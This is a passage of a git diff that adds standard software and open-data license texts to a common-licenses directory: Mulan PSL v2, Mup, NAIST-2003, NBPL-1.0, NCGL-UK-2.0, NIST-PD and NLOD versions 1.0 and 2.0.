+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v1 for more details.
diff --git a/meta/files/common-licenses/MulanPSL-2.0 b/meta/files/common-licenses/MulanPSL-2.0
new file mode 100644
index 0000000000..4e46101296
--- /dev/null
+++ b/meta/files/common-licenses/MulanPSL-2.0
@@ -0,0 +1,131 @@
+
+木兰宽松许可证, 第2版
+
+木兰宽松许可证, 第2版
+
+2020年1月 http://license.coscl.org.cn/MulanPSL2
+
+您对“软件”的复制、使用、修改及分发受木兰宽松许可证,第2版(“本许可证”)的如下条款的约束:
+
+0. 定义
+
+“软件” 是指由“贡献”构成的许可在“本许可证”下的程序和相关文档的集合。
+
+“贡献” 是指由任一“贡献者”许可在“本许可证”下的受版权法保护的作品。
+
+“贡献者” 是指将受版权法保护的作品许可在“本许可证”下的自然人或“法人实体”。
+
+“法人实体” 是指提交贡献的机构及其“关联实体”。
+
+“关联实体” 是指,对“本许可证”下的行为方而言,控制、受控制或与其共同受控制的机构,此处的控制是指有受控方或共同受控方至少50%直接或间接的投票权、资金或其他有价证券。
+
+1. 授予版权许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的版权许可,您可以复制、使用、修改、分发其“贡献”,不论修改与否。
+
+2. 授予专利许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的(根据本条规定撤销除外)专利许可,供您制造、委托制造、使用、许诺销售、销售、进口其“贡献”或以其他方式转移其“贡献”。前述专利许可仅限于“贡献者”现在或将来拥有或控制的其“贡献”本身或其“贡献”与许可“贡献”时的“软件”结合而将必然会侵犯的专利权利要求,不包括对“贡献”的修改或包含“贡献”的其他结合。如果您或您的“关联实体”直接或间接地,就“软件”或其中的“贡献”对任何人发起专利侵权诉讼(包括反诉或交叉诉讼)或其他专利维权行动,指控其侵犯专利权,则“本许可证”授予您对“软件”的专利许可自您提起诉讼或发起维权行动之日终止。
+
+3. 无商标许可
+
+“本许可证”不提供对“贡献者”的商品名称、商标、服务标志或产品名称的商标许可,但您为满足第4条规定的声明义务而必须使用除外。
+
+4. 分发限制
+
+您可以在任何媒介中将“软件”以源程序形式或可执行形式重新分发,不论修改与否,但您必须向接收者提供“本许可证”的副本,并保留“软件”中的版权、商标、专利及免责声明。
+
+5. 免责声明与责任限制
+
+“软件”及其中的“贡献”在提供时不带任何明示或默示的担保。在任何情况下,“贡献者”或版权所有者不对任何人因使用“软件”或其中的“贡献”而引发的任何直接或间接损失承担责任,不论因何种原因导致或者基于何种法律理论,即使其曾被建议有此种损失的可能性。
+
+6. 语言
+
+“本许可证”以中英文双语表述,中英文版本具有同等法律效力。如果中英文版本存在任何冲突不一致,以中文版为准。
+
+条款结束
+
+如何将木兰宽松许可证,第2版,应用到您的软件
+
+如果您希望将木兰宽松许可证,第2版,应用到您的新软件,为了方便接收者查阅,建议您完成如下三步:
+
+1, 请您补充如下声明中的空白,包括软件名、软件的首次发表年份以及您作为版权人的名字;
+
+2, 请您在软件包的一级目录下创建以“LICENSE”为名的文件,将整个许可证文本放入该文件中;
+
+3, 请将如下声明文本放入每个源文件的头部注释中。
+
+Copyright (c) [Year] [name of copyright holder]
+[Software Name] is licensed under Mulan PSL v2.
+You can use this software according to the terms and conditions of the Mulan PSL v2.
+You may obtain a copy of Mulan PSL v2 at:
+ http://license.coscl.org.cn/MulanPSL2
+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
+EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
+MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v2 for more details.
+
+Mulan Permissive Software License,Version 2
+
+Mulan Permissive Software License,Version 2 (Mulan PSL v2)
+
+January 2020 http://license.coscl.org.cn/MulanPSL2
+
+Your reproduction, use, modification and distribution of the Software shall be subject to Mulan PSL v2 (this License) with the following terms and conditions:
+
+0. Definition
+
+Software means the program and related documents which are licensed under this License and comprise all Contribution(s).
+
+Contribution means the copyrightable work licensed by a particular Contributor under this License.
+
+Contributor means the Individual or Legal Entity who licenses its copyrightable work under this License.
+
+Legal Entity means the entity making a Contribution and all its Affiliates.
+
+Affiliates means entities that control, are controlled by, or are under common control with the acting entity under this License, ‘control’ means direct or indirect ownership of at least fifty percent (50%) of the voting power, capital or other securities of controlled or commonly controlled entity.
+
+1. Grant of Copyright License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable copyright license to reproduce, use, modify, or distribute its Contribution, with modification or not.
+
+2. Grant of Patent License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable (except for revocation under this Section) patent license to make, have made, use, offer for sale, sell, import or otherwise transfer its Contribution, where such patent license is only limited to the patent claims owned or controlled by such Contributor now or in future which will be necessarily infringed by its Contribution alone, or by combination of the Contribution with the Software to which the Contribution was contributed. The patent license shall not apply to any modification of the Contribution, and any other combination which includes the Contribution. If you or your Affiliates directly or indirectly institute patent litigation (including a cross claim or counterclaim in a litigation) or other patent enforcement activities against any individual or entity by alleging that the Software or any Contribution in it infringes patents, then any patent license granted to you under this License for the Software shall terminate as of the date such litigation or activity is filed or taken.
+
+3. No Trademark License
+
+No trademark license is granted to use the trade names, trademarks, service marks, or product names of Contributor, except as required to fulfill notice requirements in section 4.
+
+4. Distribution Restriction
+
+You may distribute the Software in any medium with or without modification, whether in source or executable forms, provided that you provide recipients with a copy of this License and retain copyright, patent, trademark and disclaimer statements in the Software.
+
+5. Disclaimer of Warranty and Limitation of Liability
+
+THE SOFTWARE AND CONTRIBUTION IN IT ARE PROVIDED WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED. IN NO EVENT SHALL ANY CONTRIBUTOR OR COPYRIGHT HOLDER BE LIABLE TO YOU FOR ANY DAMAGES, INCLUDING, BUT NOT LIMITED TO ANY DIRECT, OR INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING FROM YOUR USE OR INABILITY TO USE THE SOFTWARE OR THE CONTRIBUTION IN IT, NO MATTER HOW IT’S CAUSED OR BASED ON WHICH LEGAL THEORY, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. Language
+
+THIS LICENSE IS WRITTEN IN BOTH CHINESE AND ENGLISH, AND THE CHINESE VERSION AND ENGLISH VERSION SHALL HAVE THE SAME LEGAL EFFECT. IN THE CASE OF DIVERGENCE BETWEEN THE CHINESE AND ENGLISH VERSIONS, THE CHINESE VERSION SHALL PREVAIL.
+
+END OF THE TERMS AND CONDITIONS
+
+How to Apply the Mulan Permissive Software License,Version 2 (Mulan PSL v2) to Your Software
+
+To apply the Mulan PSL v2 to your work, for easy identification by recipients, you are suggested to complete following three steps:
+
+i. Fill in the blanks in following statement, including insert your software name, the year of the first publication of your software, and your name identified as the copyright owner;
+ii. Create a file named "LICENSE" which contains the whole context of this License in the first directory of your software package;
+iii. Attach the statement to the appropriate annotated syntax at the beginning of each source file.
+
+Copyright (c) [Year] [name of copyright holder]
+[Software Name] is licensed under Mulan PSL v2.
+You can use this software according to the terms and conditions of the Mulan PSL v2.
+You may obtain a copy of Mulan PSL v2 at:
+ http://license.coscl.org.cn/MulanPSL2
+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
+EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
+MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v2 for more details.
+
diff --git a/meta/files/common-licenses/Mup b/meta/files/common-licenses/Mup
new file mode 100644
index 0000000000..57c163a401
--- /dev/null
+++ b/meta/files/common-licenses/Mup
@@ -0,0 +1,13 @@
+Copyright (c) 1995-2012 by Arkkra Enterprises. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following DISCLAIMER.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following DISCLAIMER in the documentation and/or other materials provided with the distribution.
+
+3. Any additions, deletions, or changes to the original files must be clearly indicated in accompanying documentation. including the reasons for the changes, and the names of those who made the modifications.
+
+DISCLAIMER
+
+THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/NAIST-2003 b/meta/files/common-licenses/NAIST-2003
new file mode 100644
index 0000000000..40d27d3287
--- /dev/null
+++ b/meta/files/common-licenses/NAIST-2003
@@ -0,0 +1,70 @@
+Copyright 2000, 2001, 2002, 2003 Nara Institute of Science
+and Technology. All Rights Reserved.
+
+Use, reproduction, and distribution of this software is permitted.
+Any copy of this software, whether in its original form or modified,
+must include both the above copyright notice and the following
+paragraphs.
+
+Nara Institute of Science and Technology (NAIST),
+the copyright holders, disclaims all warranties with regard to this
+software, including all implied warranties of merchantability and
+fitness, in no event shall NAIST be liable for
+any special, indirect or consequential damages or any damages
+whatsoever resulting from loss of use, data or profits, whether in an
+action of contract, negligence or other tortuous action, arising out
+of or in connection with the use or performance of this software.
+
+A large portion of the dictionary entries
+originate from ICOT Free Software. The following conditions for ICOT
+Free Software applies to the current dictionary as well.
+
+Each User may also freely distribute the Program, whether in its
+original form or modified, to any third party or parties, PROVIDED
+that the provisions of Section 3 ("NO WARRANTY") will ALWAYS appear
+on, or be attached to, the Program, which is distributed substantially
+in the same form as set out herein and that such intended
+distribution, if actually made, will neither violate or otherwise
+contravene any of the laws and regulations of the countries having
+jurisdiction over the User or the intended distribution itself.
+
+NO WARRANTY
+
+The program was produced on an experimental basis in the course of the
+research and development conducted during the project and is provided
+to users as so produced on an experimental basis. Accordingly, the
+program is provided without any warranty whatsoever, whether express,
+implied, statutory or otherwise. The term "warranty" used herein
+includes, but is not limited to, any warranty of the quality,
+performance, merchantability and fitness for a particular purpose of
+the program and the nonexistence of any infringement or violation of
+any right of any third party.
+
+Each user of the program will agree and understand, and be deemed to
+have agreed and understood, that there is no warranty whatsoever for
+the program and, accordingly, the entire risk arising from or
+otherwise connected with the program is assumed by the user.
+
+Therefore, neither ICOT, the copyright holder, or any other
+organization that participated in or was otherwise related to the
+development of the program and their respective officials, directors,
+officers and other employees shall be held liable for any and all
+damages, including, without limitation, general, special, incidental
+and consequential damages, arising out of or otherwise in connection
+with the use or inability to use the program or any product, material
+or result produced or otherwise obtained by using the program,
+regardless of whether they have been advised of, or otherwise had
+knowledge of, the possibility of such damages at any time during the
+project or thereafter. Each user will be deemed to have agreed to the
+foregoing by his or her commencement of use of the program. The term
+"use" as used herein includes, but is not limited to, the use,
+modification, copying and distribution of the program and the
+production of secondary products from the program.
+
+In the case where the program, whether in its original form or
+modified, was distributed or delivered to or received by a user from
+any person, organization or entity other than ICOT, unless it makes or
+grants independently of ICOT any specific warranty to the user in
+writing, such person, organization or entity, will also be exempted
+from and not be held liable to the user for any such damages as noted
+above as far as the program is concerned.
diff --git a/meta/files/common-licenses/NBPL-1.0 b/meta/files/common-licenses/NBPL-1.0
new file mode 100644
index 0000000000..f6bf87992f
--- /dev/null
+++ b/meta/files/common-licenses/NBPL-1.0
@@ -0,0 +1,59 @@
+The Net Boolean Public License
+
+Version 1, 22 August 1998 Copyright 1998, Net Boolean Incorporated, Redwood City, California, USA All Rights Reserved.
+
+Note: This license is derived from the "Artistic License" as distributed with the Perl Programming Language. Its terms are different from those of the "Artistic License."
+
+PREAMBLE
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+
+ b) use the modified Package only within your corporation or organization.
+
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C subroutines supplied by you and linked into this Package in order to emulate subroutines and variables of the language defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the language in any way that would cause it to fail the regression tests for the language.
+
+8. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/NCGL-UK-2.0 b/meta/files/common-licenses/NCGL-UK-2.0
new file mode 100644
index 0000000000..31fbad6f83
--- /dev/null
+++ b/meta/files/common-licenses/NCGL-UK-2.0
@@ -0,0 +1,67 @@
+Non-Commercial Government Licence
+for public sector information
+
+You are encouraged to use and re-use the Information that is available under this licence freely and flexibly, with only a few conditions.
+
+Using information under this licence
+
+Use of copyright and database right material expressly made available under this licence (the ‘Information’) indicates your acceptance of the terms and conditions below.
+
+The Licensor grants you a worldwide, royalty-free, perpetual, non-exclusive licence to use the Information for Non-Commercial purposes only subject to the conditions below.
+
+This licence does not affect your freedom under fair dealing or fair use or any other copyright or database right exceptions and limitations.
+
+You are free to:
+ copy, publish, distribute and transmit the Information;
+ adapt the Information;
+ exploit the Information for Non-Commercial purposes for example, by combining it with other information in your own product or application.
+
+You are not permitted to:
+ exercise any of the rights granted to you by this licence in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation.
+
+You must, where you do any of the above:
+ acknowledge the source of the Information by including any attribution statement specified by the Information Provider(s) and, where possible, provide a link to this licence;
+
+If the Information Provider does not provide a specific attribution statement, you must use the following:
+ Contains information licensed under the Non-Commercial Government Licence v2.0.
+
+If you are using Information from several Information Providers and listing multiple attributions is not practical in your product or application, you may include a URI or hyperlink to a resource that contains the required attribution statements.
+ ensure that any onward licensing of the Information – for example when combined with other information – is for Non-Commercial purposes only.
+
+These are important conditions of this licence and if you fail to comply with them or use the Information other than for Non-Commercial purposes the rights granted to you under this licence, or any similar licence granted by the Licensor, will end automatically.
+
+Exemptions
+
+This licence does not cover the use of:
+ • personal data in the Information;
+ • Information that has not been accessed by way of publication or disclosure under information access legislation (including the Freedom of Information Acts for the UK and Scotland) by or with the consent of the Information Provider;
+ • departmental or public sector organisation logos, crests, military insignia and the Royal Arms except where they form an integral part of a document or dataset;
+ • military insignia
+ • third party rights the Information Provider is not authorised to license;
+ • other intellectual property rights, including patents, trade marks, and design rights; and
+ • identity documents such as the British Passport.
+
+Non-endorsement
+This licence does not grant you any right to use the Information in a way that suggests any official status or that the Information Provider and/or Licensor endorse you or your use of the Information.
+
+No warranty
+The Information is licensed ‘as is’ and the Information Provider excludes all representations, warranties, obligations and liabilities in relation to the Information to the maximum extent permitted by law.
+The Information Provider is not liable for any errors or omissions in the Information and shall not be liable for any loss, injury or damage of any kind caused by its use. The Information Provider does not guarantee the continued supply of the Information.
+
+Governing Law
+This licence is governed by the laws of the jurisdiction in which the Information Provider has its principal place of business, unless otherwise specified by the Information Provider.
+
+Definitions
+In this licence the terms below have the following meanings:
+
+‘Information’ means information protected by copyright or by database right (for example, literary and artistic works, content, data and source code) offered for use under the terms of this licence.
+
+‘Information Provider’ means the person or organisation providing the Information under this licence.
+
+‘Licensor’ means any Information Provider which has the authority to offer Information under the terms of this licence or the Keeper of the Public Records, who has the authority to offer Information subject to Crown copyright and Crown database rights and Information subject to copyright and database right that has been assigned to or acquired by the Crown, under the terms of this licence.
+
+‘Non-Commercial purposes’ means not intended for or directed toward commercial advantage or private monetary compensation. For the purposes of this licence, ‘private monetary compensation’ does not include the exchange of the Information for other copyrighted works by means of digital file-sharing or otherwise provided there is no payment of any monetary compensation in connection with the exchange of the Information.
+
+‘Use’ as a verb, means doing any act which is restricted by copyright or database right, whether in the original medium or in any other medium, and includes without limitation distributing, copying, adapting, modifying as may be technically necessary to use it in a different mode or format.
+
+‘You’ means the natural or legal person, or body of persons corporate or incorporate, acquiring rights under this licence.
diff --git a/meta/files/common-licenses/NIST-PD b/meta/files/common-licenses/NIST-PD
new file mode 100644
index 0000000000..e1a4e65bab
--- /dev/null
+++ b/meta/files/common-licenses/NIST-PD
@@ -0,0 +1,15 @@
+Terms Of Use
+
+This software was developed by employees of the National Institute of Standards
+and Technology (NIST), and others. This software has been contributed to the
+public domain. Pursuant to title 15 Untied States Code Section 105, works of
+NIST employees are not subject to copyright protection in the United States and
+are considered to be in the public domain. As a result, a formal license is
+not needed to use this software.
+
+This software is provided "AS IS." NIST MAKES NO WARRANTY OF ANY KIND, EXPRESS,
+IMPLIED OR STATUTORY, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTY OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT AND DATA
+ACCURACY. NIST does not warrant or make any representations regarding the use
+of the software or the results thereof, including but not limited to the
+correctness, accuracy, reliability or usefulness of this software.
diff --git a/meta/files/common-licenses/NIST-PD-fallback b/meta/files/common-licenses/NIST-PD-fallback
new file mode 100644
index 0000000000..49f91bce1f
--- /dev/null
+++ b/meta/files/common-licenses/NIST-PD-fallback
@@ -0,0 +1,5 @@
+Conditions of Use
+
+This software was developed by employees of the National Institute of Standards and Technology (NIST), an agency of the Federal Government and is being made available as a public service. Pursuant to title 17 United States Code Section 105, works of NIST employees are not subject to copyright protection in the United States. This software may be subject to foreign copyright. Permission in the United States and in foreign countries, to the extent that NIST may hold copyright, to use, copy, modify, create derivative works, and distribute this software and its documentation without fee is hereby granted on a non-exclusive basis, provided that this notice and disclaimer of warranty appears in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY OF ANY KIND, EITHER EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTY THAT THE SOFTWARE WILL CONFORM TO SPECIFICATIONS, ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND FREEDOM FROM INFRINGEMENT, AND ANY WARRANTY THAT THE DOCUMENTATION WILL CONFORM TO THE SOFTWARE, OR ANY WARRANTY THAT THE SOFTWARE WILL BE ERROR FREE. IN NO EVENT SHALL NIST BE LIABLE FOR ANY DAMAGES, INCLUDING, BUT NOT LIMITED TO, DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES, ARISING OUT OF, RESULTING FROM, OR IN ANY WAY CONNECTED WITH THIS SOFTWARE, WHETHER OR NOT BASED UPON WARRANTY, CONTRACT, TORT, OR OTHERWISE, WHETHER OR NOT INJURY WAS SUSTAINED BY PERSONS OR PROPERTY OR OTHERWISE, AND WHETHER OR NOT LOSS WAS SUSTAINED FROM, OR AROSE OUT OF THE RESULTS OF, OR USE OF, THE SOFTWARE OR SERVICES PROVIDED HEREUNDER.
diff --git a/meta/files/common-licenses/NLOD-1.0 b/meta/files/common-licenses/NLOD-1.0
new file mode 100644
index 0000000000..b0b0767e38
--- /dev/null
+++ b/meta/files/common-licenses/NLOD-1.0
@@ -0,0 +1,79 @@
+Norwegian Licence for Open Government Data (NLOD) 1.0
+
+Preface of licence
+
+This licence grants you the right to copy, use and distribute information, provided you acknowledge the contributors and comply with the terms and conditions stipulated in this licence. By using information made available under this licence, you accept the terms and conditions set forth in this licence. As set out in Section 7, the licensor disclaims any and all liability for the quality of the information and what the information is used for.
+
+This licence shall not impose any limitations on the rights or freedoms of the licensee under the Norwegian Freedom of Information Act or any other legislation granting the general public a right of access to public sector information, or that follow from exemptions or limitations stipulated in the Norwegian Copyright Act. Further, the licence shall not impose any limitations on the licensee's freedom of expression recognized by law.
+
+1. Definitions
+
+ «Database» shall mean a database or similar protected under Section 43 of the Norwegian Copyright Act.
+ «Information» shall mean texts, images, recordings, data sets or other works protected under Section 1 of the Norwegian Copyright Act, or which are protected under provisions addressing what is referred to as «neighbouring rights» in Chapter 5 of the Norwegian Copyright Act (including databases and photographs), and which are distributed under this licence.
+ «Copy» shall mean reproduction in any form.
+ «Licensee» and «you» shall mean natural or legal persons using information under this licence.
+ «Licensor» shall mean the natural or legal person that makes information available under this licence.
+ «Distribute» shall mean any actions whereby information is made available, including to distribute, transfer, communicate, disperse, show, perform, sell, lend and rent.
+ «Use» shall mean one or more actions relevant to copyright law requiring permission from the owner of the copyright.
+
+2. Licence
+The licensee, subject to the limitations that follow from this licence, may use the information for any purpose and in all contexts, by:
+
+ * copying the information and distributing the information to others,
+ * modifying the information and/or combining the information with other information, and
+ * copying and distributing such changed or combined information.
+ * This is a non-exclusive, free, perpetual and worldwide licence. The information may be used in any medium and format known today and/or which will become known in the future. The Licensee shall not sub-license or transfer this licence.
+
+3. Exemptions
+The licence does not apply to and therefore does not grant a right to use:
+
+ * information which contains personal data covered by the Norwegian Personal Data Act unless there is a legitimate basis for the disclosure and further processing of the personal data
+ * information distributed in violation of a statutory obligation to observe confidentiality
+ * information excluded from public disclosure pursuant to law, including information deemed sensitive under the Norwegian National Security Act
+ * information subject to third party rights which the licensor is not authorised to license to the licensee
+ * information protected by intellectual property rights other than copyright and neighbouring rights in accordance with Chapter 5 of the Norwegian Copyright Act, such as trademarks, patents and design rights, but this does not entail an impediment to use information where the licensor's logo has been permanently integrated into the information or to attribute the origin of the information in accordance with the article below relating to attribution.
+
+If the licensor has made available information not covered by the licence according to the above list, the licensee must cease all use of the information under the licence, and erase the information as soon as he or she becomes aware of or should have understood that the information is not covered by the licence.
+
+4. Effects of breach of the licence
+The licence is subject to the licensee's compliance with the terms and conditions of this licence. In the event that the licensee commits a breach of this licence, this will entail that the licensee's right to use the information will be revoked immediately without further notice. In case of such a breach, the licensee must immediately and without further notice take measures to cause the infringement to end. Because the right to use the information has been terminated, the licensee must cease all use of the information by virtue of the licence.
+
+5. Attribution
+The licensee shall attribute the licensor as specified by the licensor and include a reference to this licence. To the extent practically possible, the licensee shall provide a link to both this licence and the source of the information.
+
+If the licensor has not specified how attributions shall be made, the licensee shall normally state the following: «Contains data under the Norwegian licence for Open Government data (NLOD) distributed by [name of licensor]».
+
+If the licensor has specified that the information shall only be available under a specific version of this licence, cf. Section 10, the licensee shall also state this.
+
+If the information has been changed, the licensee must clearly indicate that changes have been made by the licensee.
+
+6. Proper use
+The licensee shall not use the information in a manner that appears misleading nor present the information in a distorted or incorrect manner.
+Neither the licensor's nor other contributors' names or trademarks must be used to support, recommend or market the licensee or any products or services using the information.
+
+7. Disclaimer of liability
+The information is licensed «as is». The information may contain errors and omissions. The licensor provides no warranties, including relating to the content and relevance of the information.
+
+The licensor disclaims any liability for errors and defects associated with the information to the maximum extent permitted by law.
+
+The licensor shall not be liable for direct or indirect losses as a result of use of the information or in connection with copying or further distribution of the information.
+
+8. Guarantees regarding data quality and accessibility
+This licence does not prevent the licensor from issuing supplementary statements regarding expected or intended data quality and accessibility. Such statements shall be regarded as indicative in nature and not binding on the part of the licensor. The disclaimers in Section 7 also apply in full for such indicative statements. Based on separate agreement, the licensor may provide guarantees and distribute the information on terms and conditions different from those set forth in this licence.
+
+9. Licence compatibility
+If the licensee is to distribute an adapted or combined work based on information covered by this licence and some other work licensed under a licence compatible by contract, such distribution may be based on an appropriate licence compatible by contract, cf. the list below.
+
+A licence compatible by contract shall mean the following licences:
+
+ * for all information: Open Government Licence (version 1.0),
+ * for those parts of the information which do not constitute databases: Creative Commons Attribution Licence (generic version 1.0, 2.0, 2.5 and unported version 3.0) and Creative Commons Navngivelse 3.0 Norge,
+ * for those parts of the information which constitute databases: Open Data Commons Attribution License (version 1.0).
+
+This provision does not prevent other licences from being compatible with this licence based on their content.
+
+10. New versions of the licence
+The licensee may choose to use the information covered by this licence under any new versions of the Norwegian licence for Open Government data (NLOD) issued by the responsible ministry (currently the Ministry of Government Administration, Reform and Church Affairs) when these versions are final and official, unless the licensor when making the information available under this licence specifically has stated that solely version 1.0 of this licence may be used.
+
+11. Governing law and legal venue
+This licence, including its formation, and any disputes and claims arising in connection with or relating to this licence, shall be regulated by Norwegian law. The legal venue shall be the licensor's ordinary legal venue. The licensor may, with regard to intellectual proprietary rights, choose to pursue a claim at other competent legal venues and/or based on the laws of the country where the intellectual property rights are sought enforced.
diff --git a/meta/files/common-licenses/NLOD-2.0 b/meta/files/common-licenses/NLOD-2.0
new file mode 100644
index 0000000000..6233940c11
--- /dev/null
+++ b/meta/files/common-licenses/NLOD-2.0
@@ -0,0 +1,80 @@
+Norwegian Licence for Open Government Data (NLOD) 2.0
+
+Preface of licence
+
+This licence grants you the right to copy, use and distribute information, provided you acknowledge the contributors and comply with the terms and conditions stipulated in this licence. By using information made available under this licence, you accept the terms and conditions set forth in this licence. As set out in Section 7, the licensor disclaims any and all liability for the quality of the information and what the information is used for.
+
+This licence shall not impose any limitations on the rights or freedoms of the licensee under the Norwegian Freedom of Information Act or any other legislation granting the general public a right of access to public sector information, or that follow from exemptions or limitations stipulated in the Norwegian Copyright Act. Further, the licence shall not impose any limitations on the licensee’s freedom of expression recognized by law.
+
+1. Definitions
+
+ «Database» shall mean a database or similar protected under Section 43 of the Norwegian Copyright Act.
+ «Information» shall mean texts, images, recordings, data sets or other works protected under Section 1 of the Norwegian Copyright Act, or which are protected under provisions addressing what is referred to as «neighbouring rights» in Chapter 5 of the Norwegian Copyright Act (including databases and photographs), and which are distributed under this licence.
+ «Copy» shall mean reproduction in any form.
+ «Licensee» and «you» shall mean natural or legal persons using information under this licence.
+ «Licensor» shall mean the natural or legal person that makes information available under this licence.
+ «Distribute» shall mean any actions whereby information is made available, including to distribute, transfer, communicate, disperse, show, perform, sell, lend and rent.
+ «Use» shall mean one or more actions relevant to copyright law requiring permission from the owner of the copyright.
+
+2. Licence
+The licensee, subject to the limitations that follow from this licence, may use the information for any purpose and in all contexts, by:
+
+ * copying the information and distributing the information to others,
+ * modifying the information and/or combining the information with other information, and
+ * copying and distributing such changed or combined information.
+
+This is a non-exclusive, free, perpetual and worldwide licence. The information may be used in any medium and format known today and/or which will become known in the future. The Licensee shall not sub-license or transfer this licence.
+
+3. Exemptions
+The licence does not apply to and therefore does not grant a right to use:
+
+ * information which contains personal data covered by the Norwegian Personal Data Act unless there is a legitimate basis for the disclosure and further processing of the personal data
+ * information distributed in violation of a statutory obligation to observe confidentiality
+ * information excluded from public disclosure pursuant to law, including information deemed sensitive under the Norwegian National Security Act
